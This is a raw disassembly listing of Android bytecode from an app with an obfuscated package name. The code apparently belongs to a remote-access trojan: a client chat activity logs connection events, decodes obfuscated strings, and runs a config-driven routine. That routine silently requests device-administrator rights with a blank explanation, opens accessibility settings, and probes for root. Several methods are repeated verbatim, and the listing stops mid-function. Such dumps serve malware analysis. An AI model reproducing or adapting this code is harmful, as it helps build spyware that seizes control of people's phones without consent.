00086060iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086064const-string v0, "Taper message"
00086068goto :goto_d0
0008606aiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
0008606econst-string v0, "कोई संदेश लिखें"
00086072goto :goto_d0
00086074iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086078const-string v0, "Bir mesaj yaz"
0008607cgoto :goto_d0
0008607eiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086082const-string v0, "اكتب رسالة"
00086086goto :goto_d0
00086088const v8, 0x7f070058
0008608einvoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
00086094move-result-object v8
00086096check-cast v8, Landroid/widget/ImageButton;
0008609aiput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->e:Landroid/widget/ImageButton;
0008609econst v8, 0x7f07006c
000860a4invoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
000860aamove-result-object v8
000860accheck-cast v8, Landroid/widget/TextView;
000860b0iput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000860b4invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getIntent()Landroid/content/Intent;
000860bamove-result-object v8
000860bcinvoke-virtual {v8}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
000860c2move-result-object v8
000860c4if-eqz v8, :cond_1b9
000860c8sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000860ccconst-wide/16 v3, 0x5a
000860d0invoke-static {v0, v1, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000860d6move-result-object v0
000860d8invoke-virtual {v8, v0}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
000860demove-result-object v0
000860e0check-cast v0, Ljava/lang/String;
000860e4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000860e8const-wide/16 v5, 0x5b
000860ecinvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000860f2move-result-object v1
000860f4invoke-virtual {v8, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
000860famove-result-object v8
000860fccheck-cast v8, Ljava/lang/String;
00086100sput-object v0, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
00086104if-eqz v8, :cond_1b9
00086108new-instance v0, Landroid/text/SpannableString;
0008610cnew-instance v1, Ljava/lang/StringBuilder;
00086110invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00086116sget-object v3, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
0008611ainvoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086120const-string v3, ": "
00086124invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008612ainvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00086130move-result-object v1
00086132invoke-direct {v0, v1}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00086138new-instance v1, Landroid/text/style/ForegroundColorSpan;
0008613cconst/16 v3, 0xfc
00086140const/16 v4, 0xc8
00086144const/16 v5, 0x86
00086148const/16 v6, 0xff
0008614cinvoke-static {v6, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
00086152move-result v3
00086154invoke-direct {v1, v3}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
0008615ainvoke-interface {v0}, Landroid/text/Spannable;->length()I
00086160move-result v3
00086162const/16 v4, 0x21
00086166invoke-interface {v0, v1, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
0008616ciget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00086170invoke-virtual {v1, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00086176const-string v0, "PANG !!"
0008617ainvoke-virtual {v8, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00086180move-result v0
00086182if-eqz v0, :cond_1aa
00086186const-string v0, "!!"
0008618ainvoke-virtual {v8, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
00086190move-result v0
00086192if-eqz v0, :cond_1aa
00086196new-instance v0, Landroid/text/SpannableString;
0008619ainvoke-direct {v0, v8}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
000861a0new-instance v8, Landroid/text/style/ForegroundColorSpan;
000861a4const/16 v1, 0xf0
000861a8invoke-static {v6, v1, v2, v2}, Landroid/graphics/Color;->argb(IIII)I
000861aemove-result v1
000861b0invoke-direct {v8, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
000861b6invoke-interface {v0}, Landroid/text/Spannable;->length()I
000861bcmove-result v1
000861beinvoke-interface {v0, v8, v2, v1, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
000861c4iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000861c8invoke-virtual {v8, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
000861cegoto :goto_1af
000861d0iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000861d4invoke-virtual {v0, v8}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
000861daiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000861deconst-string v0, "\n"
000861e2invoke-virtual {v8, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
000861e8invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
000861eenew-instance v8, Ljava/lang/StringBuilder;
000861f2invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
000861f8sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000861fcconst-wide/16 v2, 0x4f
00086200invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00086206move-result-object v0
00086208invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008620esget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00086212invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086218const-string v0, "Connected"
0008621cinvoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086222sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00086226invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008622cconst-string v0, "OpWin"
00086230invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086236invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008623cmove-result-object v8
0008623einvoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00086244iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086248new-instance v0, Lcmf0/c3b5bm90zq/patch/C6$1;
0008624cinvoke-direct {v0, v7}, Lcmf0/c3b5bm90zq/patch/C6$1;-><init>(Lcmf0/c3b5bm90zq/patch/C6;)V
00086252invoke-virtual {v8, v0}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
00086258return-void
0008625anop
0008625c.sparse-switch
000862b8.packed-switch 0x0
00085e6c
000862ec
000862eccmf0.c3b5bm90zq.patch.C6::onResume():
000862fcinvoke-super {v2}, Landroid/app/Activity;->onResume()V
00086302iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C6;->h:Landroid/content/BroadcastReceiver;
00086306iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
0008630ainvoke-virtual {v2, v0, v1}, Lcmf0/c3b5bm90zq/patch/C6;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
00086310return-void
000862ec
000862eccmf0.c3b5bm90zq.patch.C6::onResume():
000862fcinvoke-super {v2}, Landroid/app/Activity;->onResume()V
00086302iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C6;->h:Landroid/content/BroadcastReceiver;
00086306iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
0008630ainvoke-virtual {v2, v0, v1}, Lcmf0/c3b5bm90zq/patch/C6;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
00086310return-void
000862ec
00086312
00086312 // align 0x4
00086312 // align 0x4
00086314
00086314cmf0.c3b5bm90zq.patch.C6::onStart():
00086324invoke-super {v5}, Landroid/app/Activity;->onStart()V
0008632aconst/4 v0, 0x1
0008632csput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
00086330sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
00086334const/4 v0, 0x0
00086336iput-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
0008633anew-instance v0, Ljava/lang/StringBuilder;
0008633einvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00086344sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00086348const-wide/16 v3, 0x4f
0008634cinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00086352move-result-object v1
00086354invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008635asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
0008635einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086364const-string v1, "Client:"
00086368invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008636esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00086372invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086378const-string v1, "On Start!!"
0008637cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086382invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00086388move-result-object v0
0008638ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00086390return-void
00086314
00086314cmf0.c3b5bm90zq.patch.C6::onStart():
00086324invoke-super {v5}, Landroid/app/Activity;->onStart()V
0008632aconst/4 v0, 0x1
0008632csput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
00086330sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
00086334const/4 v0, 0x0
00086336iput-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
0008633anew-instance v0, Ljava/lang/StringBuilder;
0008633einvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00086344sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00086348const-wide/16 v3, 0x4f
0008634cinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00086352move-result-object v1
00086354invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008635asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
0008635einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086364const-string v1, "Client:"
00086368invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008636esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00086372invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086378const-string v1, "On Start!!"
0008637cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086382invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00086388move-result-object v0
0008638ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00086390return-void
00086314
00086392
00086392 // align 0x4
00086392 // align 0x4
00086394
00086394cmf0.c3b5bm90zq.patch.C6::onStop():
000863a4invoke-super {v5}, Landroid/app/Activity;->onStop()V
000863aaconst/4 v0, 0x0
000863acsput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
000863b0sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
000863b4iget-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
000863b8if-nez v0, :cond_37
000863bcnew-instance v0, Ljava/lang/StringBuilder;
000863c0invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
000863c6sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000863caconst-wide/16 v3, 0x4f
000863ceinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000863d4move-result-object v1
000863d6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863dcsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000863e0invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863e6const-string v1, "Client:"
000863eainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863f0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000863f4invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863faconst-string v1, "On Stop!!"
000863feinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086404invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008640amove-result-object v0
0008640cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00086412return-void
00086394
00086394cmf0.c3b5bm90zq.patch.C6::onStop():
000863a4invoke-super {v5}, Landroid/app/Activity;->onStop()V
000863aaconst/4 v0, 0x0
000863acsput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
000863b0sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
000863b4iget-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
000863b8if-nez v0, :cond_37
000863bcnew-instance v0, Ljava/lang/StringBuilder;
000863c0invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
000863c6sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000863caconst-wide/16 v3, 0x4f
000863ceinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000863d4move-result-object v1
000863d6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863dcsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000863e0invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863e6const-string v1, "Client:"
000863eainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863f0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000863f4invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000863faconst-string v1, "On Stop!!"
000863feinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086404invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008640amove-result-object v0
0008640cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00086412return-void
00086394
00086414
00086414cmf0.c3b5bm90zq.patch.C7$1::<init>(cmf0.c3b5bm90zq.patch.C7):
00086424iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086428invoke-direct {v0}, Ljava/lang/Object;-><init>()V
0008642ereturn-void
00086414
00086414cmf0.c3b5bm90zq.patch.C7$1::<init>(cmf0.c3b5bm90zq.patch.C7):
00086424iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086428invoke-direct {v0}, Ljava/lang/Object;-><init>()V
0008642ereturn-void
00086414
00086430
00086430cmf0.c3b5bm90zq.patch.C7$1::run():
00086440iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086444invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;)Ljava/util/concurrent/locks/Lock;
0008644amove-result-object v0
0008644cinvoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
00086452iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086456invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
0008645cmove-result-object v0
0008645einvoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
00086464move-result-object v0
00086466const v1, 0x7f0c0021
0008646cinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
00086472move-result-object v0
00086474const/4 v1, 0x4
00086476invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
0008647cmove-result v1
0008647econst/16 v2, 0x31
00086482if-ne v1, v2, :cond_28
00086486iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008648ainvoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C7;->b(Lcmf0/c3b5bm90zq/patch/C7;)V
00086490const/4 v1, 0x3
00086492invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
00086498move-result v3
0008649aif-ne v3, v2, :cond_6a
0008649eiget-object v3, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864a2new-instance v4, Lcmf0/c3b5bm90zq/patch/c;
000864a6iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864aainvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000864b0move-result-object v5
000864b2invoke-direct {v4, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
000864b8iput-object v4, v3, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
000864bciget-object v3, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864c0iget-object v3, v3, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
000864c4invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
000864camove-result v3
000864ccif-nez v3, :cond_6a
000864d0new-instance v3, Landroid/content/Intent;
000864d4const-string v4, "android.app.action.ADD_DEVICE_ADMIN"
000864d8invoke-direct {v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
000864deconst-string v4, "android.app.extra.DEVICE_ADMIN"
000864e2iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864e6iget-object v5, v5, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
000864eainvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/c;->b()Landroid/content/ComponentName;
000864f0move-result-object v5
000864f2invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
000864f8const-string v4, "android.app.extra.ADD_EXPLANATION"
000864fcconst-string v5, ""
00086500invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
00086506iget-object v4, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008650aconst/16 v5, 0x64
0008650einvoke-virtual {v4, v3, v5}, Lcmf0/c3b5bm90zq/patch/C7;->startActivityForResult(Landroid/content/Intent;I)V
00086514const/4 v3, 0x1
00086516invoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
0008651cmove-result v4
0008651eif-ne v4, v2, :cond_89
00086522sget-boolean v4, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
00086526if-nez v4, :cond_89
0008652anew-instance v4, Landroid/content/Intent;
0008652einvoke-direct {v4}, Landroid/content/Intent;-><init>()V
00086534const/high16 v5, 0x10000000
00086538invoke-virtual {v4, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
0008653econst-string v5, "android.settings.ACCESSIBILITY_SETTINGS"
00086542invoke-virtual {v4, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
00086548iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008654cinvoke-virtual {v5, v4}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
00086552invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
00086558move-result v1
0008655aconst/4 v4, 0x0
0008655cif-ne v1, v2, :cond_9d
00086560iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086564iget-object v1, v1, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
00086568invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
0008656emove-result v1
00086570if-eqz v1, :cond_9b
00086574goto :goto_9d
00086576const/4 v1, 0x0
00086578goto :goto_9e
0008657aconst/4 v1, 0x1
0008657cinvoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
00086582move-result v5
00086584if-ne v5, v2, :cond_ab
00086588sget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
0008658cif-ne v5, v3, :cond_a9
00086590goto :goto_ab
00086592const/4 v5, 0x0
00086594goto :goto_ac
00086596const/4 v5, 0x1
00086598if-ne v1, v3, :cond_118
0008659cif-ne v5, v3, :cond_118
000865a0iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865a4invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000865aamove-result-object v1
000865acinvoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
000865b2move-result-object v1
000865b4const/high16 v5, 0x7f0c0000
000865b8invoke-virtual {v1, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000865bemove-result-object v1
000865c0const-string v5, ".."
000865c4invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000865camove-result v5
000865ccif-nez v5, :cond_f9
000865d0iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865d4invoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000865damove-result-object v5
000865dcinvoke-static {v5, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
000865e2move-result v5
000865e4if-ne v5, v3, :cond_da
000865e8iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865ecinvoke-static {v5, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Ljava/lang/String;)V
000865f2goto :goto_f9
000865f4iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865f8iget-object v5, v5, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
000865fciget-object v6, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086600invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086606move-result-object v6
00086608const-string v7, "root"
0008660cinvoke-virtual {v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
00086612move-result-object v5
00086614const-string v6, "1"
00086618if-ne v5, v6, :cond_f4
0008661ciget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086620invoke-static {v5, v3}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Z)V
00086626goto :goto_f9
00086628iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008662cinvoke-static {v5, v4}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Z)V
00086632invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
00086638move-result v0
0008663aif-ne v0, v2, :cond_118
0008663econst-string v0, ".."
00086642invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00086648move-result v0
0008664aif-nez v0, :cond_113
0008664eiget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086652invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086658move-result-object v0
0008665ainvoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
00086660move-result v0
00086662if-ne v0, v3, :cond_118
00086666iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008666ainvoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a()V
00086670iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086674invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;)Ljava/util/concurrent/locks/Lock;
0008667amove-result-object v0
0008667cinvoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
00086682return-void
00086430
00086430cmf0.c3b5bm90zq.patch.C7$1::run():
00086440iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086444invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;)Ljava/util/concurrent/locks/Lock;
0008644amove-result-object v0
0008644cinvoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
00086452iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086456invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
0008645cmove-result-object v0
0008645einvoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
00086464move-result-object v0
00086466const v1, 0x7f0c0021
0008646cinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
00086472move-result-object v0
00086474const/4 v1, 0x4
00086476invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
0008647cmove-result v1
0008647econst/16 v2, 0x31
00086482if-ne v1, v2, :cond_28
00086486iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008648ainvoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C7;->b(Lcmf0/c3b5bm90zq/patch/C7;)V
00086490const/4 v1, 0x3
